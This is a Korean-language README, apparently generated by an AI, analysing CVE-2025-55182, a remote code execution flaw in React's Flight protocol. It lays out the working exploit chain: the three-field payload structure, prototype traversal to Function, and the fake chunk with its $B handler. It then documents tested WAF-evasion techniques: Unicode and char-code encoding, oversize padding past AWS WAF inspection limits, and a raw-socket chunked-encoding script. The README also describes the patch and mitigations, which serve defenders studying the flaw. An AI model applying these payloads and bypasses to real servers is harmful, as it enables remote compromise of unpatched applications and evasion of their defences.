
CVE-2025-55182에 대한 상세 기술 분석 및 개념 증명 익스플로잇. React의 Flight Protocol에서 발견된 치명적인 RCE 취약점입니다. 경로 탐색, 가짜 청크 주입, WAF 우회 기술을 다룹니다.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182는 React의 Flight Protocol에서 발견된 심각한 RCE 취약점입니다. 공격 체인은 경로 탐색 + 가짜 청크 주입 + $B 핸들러 남용을 연결하여 Function(attacker_code)를 실행합니다.
실제 익스플로잇 체인을 제공한 maple3142님께 큰 감사를 드립니다!
이 익스플로잇은 세 개의 폼 필드를 사용하여 악성 페이로드를 구성합니다:
then을 가진 가짜 청크 객체를 생성합니다 (필드 1 $@0 → 필드 0)_formData.get이 로 설정된 **가짜 **를 포함시킵니다$1:constructor:constructor_responseresponse._formData.get(response._prefix + id)를 호출하는 $B 핸들러를 트리거합니다_formData.get이 Function으로 해석되어 Function(code)를 실행합니다┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### 주요 구성 요소
| 구성 요소 | 목적 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 자기 참조적인 thenable; chunk 1(`$@0`)은 chunk 0을 다시 가리킵니다 |
| `status: "resolved_model"` | 객체가 유효한 React chunk로 보이도록 만듭니다 |
| `reason: -1` | rootReference를 undefined로 설정합니다 (참조 충돌 방지) |
| `value: '{"then":"$B1337"}'` | `$B` 핸들러를 트리거하는 중첩된 페이로드 |
| `_response._prefix` | RCE 코드 문자열을 포함합니다 |
| `_response._chunks: "$Q2"` | chunk 처리 중 충돌을 방지하기 위한 빈 Map |
| `_response._formData.get` | `$1:constructor:constructor`를 통해 `Function`을 가리킵니다 |
### 구성 요소 심층 분석
#### 폼 필드 구조
익스플로잇은 순환 참조를 가진 세 개의 폼 필드를 사용합니다:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then"는 자체 참조를 생성하여 실제 함수로 해석됩니다:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**왜 이것이 중요한가:**
1. `then`은 `Chunk.prototype.then`으로 확인됨 - 실제 호출 가능한 함수
2. 이로 인해 가짜 객체가 유효한 thenable이 됨
3. await될 때, JS는 `obj.then(resolve, reject)`를 호출
4. `Chunk.prototype.then`이 가짜 객체를 `this`로 하여 실행됨:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this)는 this._response를 사용합니다 - 공격자의 가짜 _response:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**자체 참조가 없으면** 가짜 `_response`는 절대 사용되지 않을 것입니다. 자체 참조는 `Chunk.prototype.then`이 공격자의 객체를 실제 Chunk로 취급하게 만듭니다.
#### 2단계 Thenable 트리거 (`value`)
`value` 필드는 다른 thenable이 포함된 중첩 JSON 문자열을 포함합니다:```json
{"then":"$B1337"}
Stage 1: 외부 객체의 자기 참조 then이 청크 처리를 트리거합니다
Stage 2: React가 모델을 해석할 때 value를 파싱하고 then: "$B1337"을 가진 다른 thenable을 만납니다. $B 접두사가 핸들러를 트리거합니다:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` is `"$1:constructor:constructor"` → `getOutlinedModel()` resolves to `Function`.
This becomes: `Function(code + "1337")` → 유효한 JS입니다. 왜냐하면 `1337`은 단순히 후행 표현식이기 때문입니다.
#### 방어적 패딩 (`_chunks`)
가짜 `_response`는 충돌을 방지하기 위해 유효한 `_chunks` 속성이 필요합니다:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
React의 내부 코드는 처리 중에 response._chunks.get() 또는 response._chunks.has()에 접근할 수 있습니다. 빈 Map은 오류 없이 이 호출들을 만족시켜 실행이 취약한 $B 핸들러에 도달할 수 있게 합니다.
| 경로 | 기능 | Exploit에서의 목적 |
|---|---|---|
| 경로 순회 | getOutlinedModel() | $1:constructor:constructor를 해석하여 Function을 얻음 |
가짜 _response 주입 | initializeModelChunk() | 공격자의 chunk._response를 사용 |
$B 핸들러 | parseModelString() | _formData.get(_prefix + id)를 호출하여 RCE 유발 |
decodeReply()는 진입점이며, 자체적으로 취약하지 않습니다.
경로 순회 (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**가짜 응답 사용법** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B 핸들러 RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## 수정 (19.2.1)
패치에는 여러 수정 사항이 포함되어 있습니다:
1. **`RESPONSE_SYMBOL` 에서 `initializeModelChunk()`** - 중요 수정 ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty의 getOutlinedModel()에서의 확인 - 프로토타입 탐색 차단 ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
reviveModel()에서의 __proto__ 처리 - 프로토타입 오염 방지 ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk()의 타입 검사 - 리스너 검증 ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| 기능 | 상태 | 비고 |
|---|---|---|
| 프로토타입 체인 탐색 | ✓ 확인됨 | $1:constructor:constructor를 통해 |
| Function 생성자 접근 | ✓ 확인됨 | 매니페스트 불필요 |
| 완전한 RCE | ✓ 확인됨 | 가짜 청크 + $B 핸들러를 통해 |
이 섹션에서는 전통적인 패턴 매칭 WAF 규칙이 이 익스플로잇을 안정적으로 탐지할 수 없는 이유를 설명합니다. 이러한 한계를 이해하는 것은 보안 팀이 방어 태세를 평가할 때 필수적입니다.
익스플로잇 페이로드는 각각 다른 인코딩 지원을 가진 여러 파서를 통과합니다. 원시 HTTP 바이트를 검사하는 WAF는 인코딩된 문자열을 보지만, 서버는 처리하기 전에 이를 디코딩합니다:
| 계층 | 파서 | 디코딩 |
|---|---|---|
| JSON 구조 | JSON.parse() | \uXXXX 유니코드 이스케이프 |
| JavaScript 코드 | Function() 생성자 | \uXXXX, \xXX, 8진수, fromCharCode() |
이는 근본적인 불일치를 만듭니다: WAF는 인코딩된 바이트를 보지만, 애플리케이션은 디코딩된 문자열을 봅니다.
순진한 WAF는 constructor, __proto__, resolved_model, 또는 child_process와 같은 패턴을 찾을 수 있습니다. 그러나 JSON은 모든 문자에 대해 유니코드 이스케이프를 허용합니다:
| 리터럴 패턴 | 유니코드 등가 | WAF 탐지 |
|---|---|---|
constructor | \u0063onstructor | 회피됨 |
__proto__ | \u005f\u005fproto\u005f\u005f | 회피됨 |
resolved_model | \u0072esolved_model | 회피됨 |
$@ (순환 참조) | $\u0040 | 회피됨 |
페이로드 내 JavaScript 코드에는 더 많은 인코딩 옵션이 있습니다:
| 패턴 | 인코딩 옵션 |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, 숫자 문자 코드, base64 |
| 모든 식별자 | 대괄호 표기법: this[S(112,114,...)] (여기서 S=String.fromCharCode) |
모든 인코딩 기술이 결합될 때:
\u0074\u0068\u0065\u006e는 then에 해당)S(99,104,105,108,100,95,...)는 child_process에 해당)HTTP 본문을 스캔하는 WAF는 이스케이프 시퀀스와 숫자만 보게 됩니다 - 전통적인 공격 서명과 일치하는 것은 아무것도 없습니다.
Next-Action 헤더는 Server Action 요청을 식별합니다. 헤더 이름은 유니코드로 인코딩할 수 없지만 (RFC 7230은 ASCII 토큰을 요구), WAF와 서버 간의 정규화 차이로 인해 탐지 격차가 발생합니다:
| 변형 | 서버 동작 | WAF 위험 |
|---|---|---|
next-action (소문자) | 허용됨 (HTTP는 대소문자 구분 안 함) | WAF가 정확한 대소문자를 기대하면 누락됨 |
Next-Action:\tx (탭) | 허용됨 (공백이 정규화됨) | WAF가 공백을 기대하면 누락됨 |
Next-Action: x (공백) | 허용됨 | 정규화 없으면 누락됨 |
패치가 유일한 신뢰할 수 있는 완화 방법입니다. WAF 규칙은 인코딩 유연성으로 인해 이 공격을 포괄적으로 차단할 수 없습니다.
필요한 버전:
패치가 지연될 경우 다음을 고려하십시오:
\uXXXX, \xXX를 디코딩하고 fromCharCode() 호출을 정규화해야 합니다_response, _prefix, _chunks 또는 순환 참조($@0)를 포함하는 JSON 구조를 찾습니다next-action 헤더를 대소문자 구분 없이 공백을 제거하여 매칭합니다Next-Action 헤더가 있는 요청을 완전히 차단합니다Function() 호출에 대해 경고합니다핵심 요점: 패턴 매칭만으로는 이러한 유형의 공격을 막을 수 없습니다. 인코딩 표면이 너무 방대하여 나열할 수 없습니다.
포괄적인 WAF 규칙이 있더라도 AWS WAF에는 악용될 수 있는 본문 검사 크기 제한이 있습니다. 이 섹션에서는 과도한 크기의 페이로드를 사용한 테스트된 우회 기술을 문서화합니다.
AWS WAF는 요청 본문의 일부만 검사합니다:
| 백엔드 | 기본 제한 | 최대 구성 가능 |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandling 문제WAF 규칙은 검사 제한을 초과하는 요청을 처리하는 방법을 지정합니다:
| 설정 | 동작 | 악용 가능? |
|---|---|---|
CONTINUE | 사용 가능한 바이트 검사, 규칙 평가 | 예 - 제한 이후의 페이로드는 검사되지 않음 |
MATCH | 일치로 처리 (차단) | 아니요 - 초과 요청 차단 |
NO_MATCH | 불일치로 처리 | 예 - 통과됨 |
WAF 규칙이 OversizeHandling: CONTINUE (일반적인 기본값)을 사용하는 경우 우회는 간단합니다.
무해한 패딩 데이터를 익스플로잇 페이로드 앞에 배치하여 검사 창 밖에 위치하도록 합니다:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### 테스트 결과
모든 초대형 페이로드가 Next.js에서 RCE를 성공적으로 달성했습니다:
| 패딩 크기 | 전체 본문 | 익스플로잇 오프셋 | 결과 |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### 청크 전송 인코딩 우회
HTTP/1.1 청크 전송 인코딩은 본문을 개별 청크로 분할합니다. WAF가 재조립 **전에** 청크를 검사하면, 청크 경계에 걸친 패턴이 일치하지 않습니다.
#### 작동 방식```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
패턴이 청크에 걸쳐 나뉨:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### 테스트된 청킹 전략
| 전략 | 설명 | 결과 |
|----------|-------------|--------|
| `$@`에서 분할 | `"$` \| `@0"` | ✅ RCE |
| 10바이트 조각 | 본문을 10바이트마다 분할 | ✅ RCE |
| 5바이트 조각 | 본문을 5바이트마다 분할 | ✅ RCE |
| `status`에서 분할 | `sta` \| `tus` | ✅ RCE |
모든 전략이 RCE를 성공적으로 달성했습니다 - Next.js가 청크된 요청을 올바르게 재조립합니다.
#### Raw Socket Example```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| WAF 유형 | 청크 처리 방식 | 우회 가능성 |
|---|---|---|
| AWS WAF (ALB) | 검사 전 재조립 | 낮음 |
| AWS WAF (CloudFront) | 검사 전 재조립 | 낮음 |
| 일부 레거시 WAF | 청크별 검사 | 예 |
| Nginx ModSecurity | 설정 가능 | 설정에 따라 다름 |
참고: AWS WAF는 일반적으로 청크로 분할된 본문을 검사 전에 재조립합니다. 그러나 각 환경별로 설정이 다를 수 있으므로 확인이 필요합니다.
OversizeHandling을 MATCH로 변경 ```json
"OversizeHandling": "MATCH"
이 규칙 조건이 충족되면 검사 한도를 초과하는 모든 요청을 차단합니다.
본문 검사 한도 증가 (CloudFront/API Gateway 전용) 웹 ACL 설정에서 최대 64KB까지 구성할 수 있지만, 이는 우회를 완전히 막지 못합니다.
크기 기반 차단 규칙 추가
합리적인 크기(예: 10KB)를 초과하는 Next-Action 헤더가 포함된 POST 요청을 차단합니다.
애플리케이션 패치 - 유일한 완전한 해결책입니다.
포함된 테스트 스크립트 참조:
test-simple.cjs - 기본 비청크 페이로드 테스트test-oversize.cjs - 0~128KB 패딩 크기 테스트test-chunked-v2.cjs - $@ 분할을 사용한 청크 전송 인코딩test-chunked-bypass.cjs - 여러 청킹 전략(5바이트, 10바이트, 패턴 분할)사용법:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## 연구 여정
### 취약점: 경로 탐색```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
Payload "$1:constructor:constructor" 사용 시:
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Function을 얻었지만, RCE를 달성하려면 제어된 인수로 호출해야 합니다. 다음 경로는 실패했습니다:
1. Thenable 경로 (차단됨)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction 경로 (차단됨)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. 반복자 경로 (차단됨)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### 돌파구
maple3142가 빠진 조각을 발견했습니다: `$B` 핸들러 + 가짜 `_response` 체인입니다. `then`이 자기 참조를 통해 `Chunk.prototype.then`으로 해석되도록 하여 가짜 `_response`가 사용되며, RCE가 가능해집니다.
---
## 주요 발견 사항
1. **`getOutlinedModel()` 취약점은 실제입니다** - 콜론으로 구분된 경로가 프로토타입 체인 탐색을 허용합니다
2. **Function 생성자에 접근 가능** - `$1:constructor:constructor`가 serverManifest 없이 작동합니다
3. **RCE 달성 가능** - 제어된 `_response`로 가짜 청크를 조작하여:
- 자기 참조 `$1:__proto__:then` → `Chunk.prototype.then`이 가짜 `_response`를 사용하도록 만듦
- 가짜 청크 구조는 React 내부 Chunk 클래스를 모방함
- `_response._formData.get` → `Function` 생성자
- `_response._prefix` → 악성 코드 문자열
- `$B` 핸들러가 `Function(malicious_code)`를 트리거함
4. **수정은 포괄적입니다** - 여러 `hasOwnProperty` 검사와 유형 검증
---
## 참고 자료
- [maple3142의 Gist](https://gist.github.com/maple3142) - RCE 체인 발견
- [React 보안 권고](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF 규칙](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## 면책 조항
이 저장소는 **교육 및 방어적 보안 연구 목적**으로만 제공됩니다. 해당 취약점은 패치되었습니다. 즉시 종속성을 업그레이드하십시오.